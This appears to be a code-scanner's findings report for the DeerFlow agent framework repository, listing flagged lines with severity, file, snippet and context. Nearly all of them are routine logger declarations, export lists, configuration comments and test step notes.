| HIGH | …agents/memory/backends/deermem/deermem/core/updater.py | 69 | arithmetic and crash max(). This helper guards against null, bool, non-numeric, | STRING |
| HIGH | …eerflow/agents/middlewares/sandbox_audit_middleware.py | 338 | 2. Then split compound commands (e.g. ``cmd1 && cmd2 ; cmd3``) and | STRING |
| HIGH⚡ | …ow/agents/middlewares/tool_output_budget_middleware.py | 205 | check = sandbox.execute_command(f"test -s {shlex.quote(virtual_path)} && echo OK || echo MISSING") | CODE |
| HIGH | backend/packages/harness/deerflow/sandbox/tools.py | 1217 | and device references (e.g. /bin/sh, /dev/null). | STRING |
| HIGH | …d/packages/harness/deerflow/persistence/json_compat.py | 64 | Missing keys differ from explicit JSON null, booleans differ from integers, | STRING |
| 24 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | docker/provisioner/app.py | 50 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/debug.py | 37 | def _setup_logging(log_level: int = logging.INFO) -> None: | CODE |
| LOW | backend/app/subagent_batches/service.py | 5 | __all__ = ["SubagentBatchService"] | CODE |
| LOW | backend/app/subagent_batches/__init__.py | 3 | __all__ = ["SubagentBatchService"] | CODE |
| LOW | backend/app/scheduler/service.py | 17 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/scheduler/__init__.py | 3 | __all__ = ["ScheduledTaskService"] | CODE |
| LOW | backend/app/mcp_tasks/service.py | 31 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/mcp_tasks/__init__.py | 3 | __all__ = ["McpTaskService"] | CODE |
| LOW | backend/app/gateway/deps.py | 37 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/services.py | 81 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/langgraph_studio.py | 22 | logger = logging.getLogger(__name__) | CODE |
| LOW⚡ | backend/app/gateway/context_usage.py | 14 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/__init__.py | 3 | __all__ = ["app", "create_app", "GatewayConfig", "get_gateway_config"] | CODE |
| LOW⚡ | backend/app/gateway/auth_disabled.py | 22 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/app.py | 60 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/authz.py | 53 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/trace_middleware.py | 20 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/auth.py | 41 | logger = logging.getLogger(__name__) | CODE |
| LOW⚡ | backend/app/gateway/routers/auth.py | 156 | def _set_session_cookie(response: Response, token: str, request: Request, *, remember_me: bool | None = None) -> None: | CODE |
| LOW | backend/app/gateway/routers/auth.py | 587 | def _set_csrf_cookie(response: Response, request: Request) -> None: | CODE |
| LOW⚡ | backend/app/gateway/routers/console.py | 31 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/suggestions.py | 15 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/models.py | 15 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/skills.py | 37 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/thread_runs.py | 49 | logger = logging.getLogger(__name__) | CODE |
| LOW⚡ | backend/app/gateway/routers/feedback.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/channel_connections.py | 25 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/__init__.py | 17 | __all__ = [ | CODE |
| LOW | backend/app/gateway/routers/agents.py | 25 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/browser.py | 16 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/assistants_compat.py | 20 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/threads.py | 76 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/mcp.py | 28 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/channels.py | 12 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/artifacts.py | 30 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/uploads.py | 40 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/github_webhooks.py | 39 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/runs.py | 23 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/integrations.py | 34 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/routers/input_polish.py | 12 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/auth/local_provider.py | 10 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/auth/oidc.py | 20 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/auth/config.py | 9 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/auth/config.py | 82 | def set_auth_config(config: AuthConfig) -> None: | CODE |
| LOW | backend/app/gateway/auth/oidc_state.py | 91 | def set_state_cookie(response: Response, request: Request, payload: OIDCStatePayload) -> None: | CODE |
| LOW | backend/app/gateway/auth/__init__.py | 18 | __all__ = [ | CODE |
| LOW | backend/app/gateway/auth/session_cookie.py | 22 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/auth/user_provisioning.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/github/dispatcher.py | 38 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/github/registry.py | 37 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/github/app_auth.py | 33 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/gateway/github/run_policy.py | 22 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/channels/store.py | 13 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/channels/service.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/channels/message_bus.py | 15 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/channels/dingtalk.py | 25 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/channels/telegram.py | 25 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/channels/discord.py | 18 | logger = logging.getLogger(__name__) | CODE |
| LOW | backend/app/channels/__init__.py | 11 | __all__ = [ | CODE |
| LOW | backend/app/channels/wechat.py | 31 | logger = logging.getLogger(__name__) | CODE |
| 336 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | backend/debug.py | 63 | CODE | |
| LOW | backend/app/mcp_tasks/service.py | 391 | CODE | |
| LOW | backend/app/gateway/deps.py | 192 | CODE | |
| LOW | backend/app/gateway/services.py | 292 | CODE | |
| LOW | backend/app/gateway/services.py | 643 | CODE | |
| LOW | backend/app/gateway/services.py | 1165 | CODE | |
| LOW | backend/app/gateway/services.py | 1291 | CODE | |
| LOW | backend/app/gateway/auth_middleware.py | 89 | CODE | |
| LOW | backend/app/gateway/routers/auth.py | 200 | CODE | |
| LOW | backend/app/gateway/routers/auth.py | 465 | CODE | |
| LOW | backend/app/gateway/routers/console.py | 427 | CODE | |
| LOW | backend/app/gateway/routers/models.py | 50 | CODE | |
| LOW | backend/app/gateway/routers/models.py | 138 | CODE | |
| LOW | backend/app/gateway/routers/thread_runs.py | 925 | CODE | |
| LOW | backend/app/gateway/routers/thread_runs.py | 1154 | CODE | |
| LOW | backend/app/gateway/routers/scheduled_tasks.py | 158 | CODE | |
| LOW | backend/app/gateway/routers/browser.py | 207 | CODE | |
| LOW | backend/app/gateway/routers/browser.py | 376 | CODE | |
| LOW | backend/app/gateway/routers/browser.py | 430 | CODE | |
| LOW | backend/app/gateway/routers/threads.py | 1483 | CODE | |
| LOW | backend/app/gateway/routers/threads.py | 1539 | CODE | |
| LOW | backend/app/gateway/routers/mcp.py | 763 | CODE | |
| LOW | backend/app/gateway/routers/mcp.py | 962 | CODE | |
| LOW | backend/app/gateway/routers/artifacts.py | 240 | CODE | |
| LOW | backend/app/gateway/routers/artifacts.py | 496 | CODE | |
| LOW | backend/app/gateway/routers/uploads.py | 302 | CODE | |
| LOW | backend/app/gateway/routers/github_webhooks.py | 173 | CODE | |
| LOW | backend/app/gateway/github/triggers.py | 82 | CODE | |
| LOW | backend/app/gateway/github/registry.py | 75 | CODE | |
| LOW | backend/app/gateway/github/identity.py | 62 | CODE | |
| LOW | backend/app/channels/dingtalk.py | 99 | CODE | |
| LOW | backend/app/channels/dingtalk.py | 382 | CODE | |
| LOW | backend/app/channels/dingtalk.py | 521 | CODE | |
| LOW | backend/app/channels/telegram.py | 136 | CODE | |
| LOW | backend/app/channels/discord.py | 182 | CODE | |
| LOW | backend/app/channels/discord.py | 465 | CODE | |
| LOW | backend/app/channels/wechat.py | 547 | CODE | |
| LOW | backend/app/channels/wechat.py | 1030 | CODE | |
| LOW | backend/app/channels/feishu.py | 355 | CODE | |
| LOW | backend/app/channels/feishu.py | 664 | CODE | |
| LOW | backend/app/channels/feishu.py | 789 | CODE | |
| LOW | backend/app/channels/feishu.py | 822 | CODE | |
| LOW | backend/app/channels/feishu.py | 1051 | CODE | |
| LOW | backend/app/channels/buzz.py | 319 | CODE | |
| LOW | backend/app/channels/buzz.py | 901 | CODE | |
| LOW | backend/app/channels/manager.py | 343 | CODE | |
| LOW | backend/app/channels/manager.py | 422 | CODE | |
| LOW | backend/app/channels/manager.py | 463 | CODE | |
| LOW | backend/app/channels/manager.py | 635 | CODE | |
| LOW | backend/app/channels/manager.py | 884 | CODE | |
| LOW | backend/app/channels/manager.py | 1693 | CODE | |
| LOW | backend/app/channels/manager.py | 1751 | CODE | |
| LOW | backend/app/channels/manager.py | 2145 | CODE | |
| LOW | backend/app/channels/manager.py | 2302 | CODE | |
| LOW | backend/app/channels/manager.py | 2440 | CODE | |
| LOW | backend/app/channels/base.py | 352 | CODE | |
| LOW | backend/app/channels/slack.py | 325 | CODE | |
| LOW | backend/app/channels/wecom.py | 268 | CODE | |
| LOW | backend/tests/manual_browser_live_check.py | 121 | CODE | |
| LOW | backend/tests/test_extension_subagent_lifecycle.py | 30 | CODE | |
| 288 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | config.example.yaml | 255 | # Install: cd backend && uv pip install 'deerflow-harness[ollama]' | COMMENT |
| MEDIUM | config.example.yaml | 1479 | # cold start. Requires the optional SDK: pip install "deerflow-harness[tenki]". | COMMENT |
| MEDIUM | config.example.yaml | 1500 | # the optional SDK: pip install "deerflow-harness[opensandbox]". | COMMENT |
| MEDIUM | docker/dev-entrypoint.sh | 13 | # workspace member extras (deerflow-harness's | COMMENT |
| MEDIUM | docker/lark-cli-broker/entrypoint.sh | 11 | # no third-party dependencies, so no harness install is needed in this image. | COMMENT |
| MEDIUM | docker/lark-cli-init/build-runtime.sh | 69 | # backend/packages/harness/deerflow/integrations/lark_cli.py | COMMENT |
| LOW⚡ | …reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json | 168 | "content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | …reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json | 365 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| MEDIUM | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 307 | "content": "[\n {\n \"title\": \"Startup Industry Trends in 2026 - Qubit Capital\",\n \"url\": \"https:// | CODE |
| MEDIUM⚡ | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 383 | "content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI arm | CODE |
| MEDIUM | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 483 | "content": "Based on current research and expert predictions, 2026 appears to be a pivotal year shaped by accele | CODE |
| MEDIUM | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 483 | "content": "Based on current research and expert predictions, 2026 appears to be a pivotal year shaped by accele | CODE |
| MEDIUM | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 550 | "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi | CODE |
| MEDIUM⚡ | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 753 | "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi | CODE |
| MEDIUM⚡ | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 753 | "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi | CODE |
| MEDIUM⚡ | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 753 | "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi | CODE |
| MEDIUM⚡ | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 753 | "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi | CODE |
| MEDIUM | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 1376 | "content": "I've created a modern, minimalist website showcasing the 2026 trends and opportunities analysis. The | CODE |
| MEDIUM⚡ | …reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json | 563 | "content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"u | CODE |
| MEDIUM⚡ | …reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json | 563 | "content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"u | CODE |
| MEDIUM⚡ | …reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json | 53 | "content": "# Tips For Technical Startup Founders | Startup School\n\n# Tips For Technical Startup Founders | St | CODE |
| LOW⚡ | …reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json | 53 | "content": "# Tips For Technical Startup Founders | Startup School\n\n# Tips For Technical Startup Founders | St | CODE |
| MEDIUM⚡ | …reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json | 53 | "content": "# Tips For Technical Startup Founders | Startup School\n\n# Tips For Technical Startup Founders | St | CODE |
| MEDIUM | …reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json | 225 | "content": "[\n {\n \"title\": \"Diana Hu - Partner at Y Combinator | LinkedIn\",\n \"url\": \"https://ww | CODE |
| MEDIUM | …reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json | 1173 | "content": "I've thoroughly analyzed Diana Hu's Y Combinator talk and conducted deep research on her background | CODE |
| MEDIUM | …reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json | 53 | "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi | CODE |
| LOW⚡ | …reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json | 64 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| MEDIUM | …reads/f4125791-0128-402a-8ca9-50e0947557e4/thread.json | 52 | "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 313 | "content": "# 🦌 DeerFlow\n\n[](https://www.py | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 313 | "content": "# 🦌 DeerFlow\n\n[](https://www.py | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 313 | "content": "# 🦌 DeerFlow\n\n[](https://www.py | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 313 | "content": "# 🦌 DeerFlow\n\n[](https://www.py | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 694 | "content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqin | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 694 | "content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqin | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 732 | "content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation | by heavendai | Medium\n\n[S | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 732 | "content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation | by heavendai | Medium\n\n[S | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1406 | "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0 | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1406 | "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0 | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1406 | "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0 | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1406 | "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0 | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1406 | "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0 | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1667 | "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1667 | "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1667 | "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1667 | "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi | CODE |
| MEDIUM | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 46 | "content": "---\nname: github-deep-research\ndescription: Conduct multi-round deep research on any GitHub Repo. | CODE |
| MEDIUM | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 883 | "content": "# 🦌 DeerFlow\n\n# Deep Researchat Your Fingertipsat Your Fingertips\n\nMeet DeerFlow, your personal | CODE |
| MEDIUM | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1637 | "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi | CODE |
| MEDIUM | …reads/5aa47db1-d0cb-4eb9-aea5-3dac1b371c5a/thread.json | 204 | "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi | CODE |
| LOW⚡ | …reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json | 54 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | …reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json | 54 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | …reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json | 186 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| MEDIUM | …reads/c02bb4d5-4202-490e-ae8f-ff4864fc0d2e/thread.json | 52 | "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wi | CODE |
| MEDIUM | deploy/helm/deer-flow/values.yaml | 268 | # resolved by the harness before the config is instantiated. | COMMENT |
| MEDIUM | backend/pyproject.toml | 9 | # Direct dependency on purpose, even though deerflow-harness already pulls | COMMENT |
| MEDIUM | backend/pyproject.toml | 14 | # app declares them rather than relying on the harness to keep supplying it. | COMMENT |
| MEDIUM⚡ | backend/pyproject.toml | 66 | # Monocle tracer (also the deerflow-harness[monocle] extra); kept in the dev | COMMENT |
| MEDIUM⚡ | backend/pyproject.toml | 69 | # redis is an optional runtime extra (deerflow-harness[redis]); pin it in the | COMMENT |
| MEDIUM⚡ | backend/pyproject.toml | 73 | # TUI runtime dep (also declared as the deerflow-harness[tui] extra); kept in | COMMENT |
| MEDIUM | backend/app/gateway/services.py | 690 | # harness's private run-context channels (skill secret-binding | COMMENT |
| 40 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | config.example.yaml | 1 | # Configuration for the DeerFlow application | COMMENT |
| LOW | config.example.yaml | 21 | # Logging | COMMENT |
| LOW | config.example.yaml | 41 | # lead-only vs subagent-only configuration is not expressible yet. Treat these | COMMENT |
| LOW | config.example.yaml | 61 | # ============================================================================ | COMMENT |
| LOW | config.example.yaml | 81 | hard_stop_threshold: 1.0 # Force stop at 100% of the budget | COMMENT |
| LOW | config.example.yaml | 101 | # - `max_tokens` is the per-call OUTPUT cap passed to the provider. | COMMENT |
| LOW | config.example.yaml | 121 | # Example: Volcengine (Doubao) model | COMMENT |
| LOW | config.example.yaml | 141 | # type: disabled | COMMENT |
| LOW | config.example.yaml | 161 | # thinking: | COMMENT |
| LOW | config.example.yaml | 181 | # thinking: | COMMENT |
| LOW | config.example.yaml | 201 | # use: deerflow.models.patched_deepseek:PatchedChatDeepSeek | COMMENT |
| LOW | config.example.yaml | 221 | # Example: OpenAI model | COMMENT |
| LOW | config.example.yaml | 241 | # max_retries: 2 | COMMENT |
| LOW | config.example.yaml | 261 | # base_url: http://localhost:11434 # No /v1 suffix — uses native /api/chat | COMMENT |
| LOW | config.example.yaml | 281 | # For Docker deployments, use host.docker.internal instead of localhost: | COMMENT |
| LOW | config.example.yaml | 301 | # thinking: | COMMENT |
| LOW | config.example.yaml | 321 | # Use PatchedChatOpenAI so that tool-call thought_signature values on tool_calls | COMMENT |
| LOW | config.example.yaml | 341 | # when_thinking_disabled: | COMMENT |
| LOW | config.example.yaml | 361 | # model: mimo-v2.5-pro | COMMENT |
| LOW | config.example.yaml | 381 | # use: deerflow.models.patched_deepseek:PatchedChatDeepSeek | COMMENT |
| LOW | config.example.yaml | 401 | # use: deerflow.models.patched_deepseek:PatchedChatDeepSeek | COMMENT |
| LOW | config.example.yaml | 421 | # See: https://novita.ai | COMMENT |
| LOW | config.example.yaml | 441 | # type: disabled | COMMENT |
| LOW | config.example.yaml | 461 | # supports_vision: true | COMMENT |
| LOW | config.example.yaml | 481 | # temperature: 1.0 # MiniMax requires temperature in (0.0, 1.0] | COMMENT |
| LOW | config.example.yaml | 501 | # NOTE: M2.x models always think — passing thinking:{type:disabled} has no | COMMENT |
| LOW | config.example.yaml | 521 | # display_name: MiniMax M2.7 Highspeed | COMMENT |
| LOW | config.example.yaml | 541 | # base_url: https://api.minimaxi.com/v1 | COMMENT |
| LOW | config.example.yaml | 561 | # extra_body: | COMMENT |
| LOW | config.example.yaml | 581 | # supports_vision: false # M2.7 is text-only; M3 supports vision | COMMENT |
| LOW | config.example.yaml | 601 | # use: langchain_openai:ChatOpenAI | COMMENT |
| LOW | config.example.yaml | 621 | # request_timeout: 600.0 | COMMENT |
| LOW | config.example.yaml | 641 | # when_thinking_enabled: | COMMENT |
| LOW | config.example.yaml | 661 | # base_url: http://localhost:8000/v1 | COMMENT |
| LOW | config.example.yaml | 681 | # api_key: $OPENAI_API_KEY | COMMENT |
| LOW | config.example.yaml | 701 | - name: web | COMMENT |
| LOW | config.example.yaml | 721 | # Configure stable IDs only to restrict scope. IDs and catalog listing never | COMMENT |
| LOW | config.example.yaml | 741 | use: deerflow.community.ddg_search.tools:web_search_tool | COMMENT |
| LOW | config.example.yaml | 761 | # - name: web_search | COMMENT |
| LOW | config.example.yaml | 781 | # https://brave.com/search/api/ to get a key. Unlike the DuckDuckGo | COMMENT |
| LOW | config.example.yaml | 801 | # search_time_range: 10 | COMMENT |
| LOW | config.example.yaml | 821 | # contents_max_characters: 1000 | COMMENT |
| LOW | config.example.yaml | 841 | # # api_key: $GROUNDROUTE_API_KEY # Optional if the env var is set | COMMENT |
| LOW | config.example.yaml | 861 | # base_url: http://localhost:3032 # Browserless instance URL (default: :3032; Docker: http://browserless:3000) | COMMENT |
| LOW | config.example.yaml | 881 | # Comment out the Jina AI web_fetch entry below before enabling this one. | COMMENT |
| LOW | config.example.yaml | 901 | # # token: $BROWSERLESS_TOKEN # Required for Browserless Cloud; optional for self-hosted | COMMENT |
| LOW | config.example.yaml | 921 | # cd backend && uv sync --extra browser && uv run playwright install chromium | COMMENT |
| LOW | config.example.yaml | 941 | # # # so you watch the agent drive your real browser | COMMENT |
| LOW | config.example.yaml | 961 | # use: deerflow.community.browser_automation.tools:browser_get_text_tool | COMMENT |
| LOW | config.example.yaml | 981 | # Web fetch tool (uses Jina AI reader) | COMMENT |
| LOW | config.example.yaml | 1001 | COMMENT | |
| LOW | config.example.yaml | 1021 | # - name: web_fetch | COMMENT |
| LOW | config.example.yaml | 1041 | # # Image size filter. Options: "l" (large), "m" (medium), "i" (icon). | COMMENT |
| LOW | config.example.yaml | 1101 | COMMENT | |
| LOW | config.example.yaml | 1181 | warn_threshold: 3 | COMMENT |
| LOW | config.example.yaml | 1201 | # Three transition paths (determined by deerflow_tool_meta.recoverable_by_model): | COMMENT |
| LOW | config.example.yaml | 1221 | # ============================================================================ | COMMENT |
| LOW | config.example.yaml | 1241 | # Detectors are loaded by class path via reflection (same pattern as | COMMENT |
| LOW | config.example.yaml | 1261 | # Example — add a custom detector for an in-house provider: | COMMENT |
| LOW | config.example.yaml | 1281 | # isolation applies. Keep this disabled unless uploads come from a fully | COMMENT |
| 286 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | …reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json | 168 | "content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | …reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json | 365 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | …reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json | 64 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | …reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json | 54 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | …reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json | 54 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | …reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json | 186 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | backend/tests/test_multi_worker_run_ownership.py | 2251 | # Step 1: cancel(action=rollback) flips running → interrupted | COMMENT |
| LOW⚡ | backend/tests/test_multi_worker_run_ownership.py | 2257 | # Step 2: worker.py finalize path — task raises CancelledError, then | COMMENT |
| LOW | backend/tests/test_sandbox_orphan_reconciliation_e2e.py | 82 | # Step 1: Start a container (simulating previous process lifecycle) | COMMENT |
| LOW | backend/tests/test_sandbox_orphan_reconciliation_e2e.py | 94 | # Step 2: Create backend and list running containers | COMMENT |
| LOW⚡ | backend/tests/test_sandbox_orphan_reconciliation_e2e.py | 105 | # Step 3: list_running should find our container | COMMENT |
| LOW⚡ | backend/tests/test_sandbox_orphan_reconciliation_e2e.py | 110 | # Step 4: Simulate reconciliation — this container's created_at is recent, | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 166 | # Step 2: Basic streaming (requires LLM) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 227 | # Step 3: Tool call flow (requires LLM) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 263 | # Step 4: File upload integration (no LLM needed for most) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 347 | # Step 5: Lifecycle and configuration (no LLM needed) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 404 | # Step 6: Middleware chain verification (requires LLM) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 442 | # Step 7: Error and boundary conditions | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 487 | # Step 8: Artifact access (no LLM needed) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 542 | # Step 9: Skill installation (no LLM needed) | COMMENT |
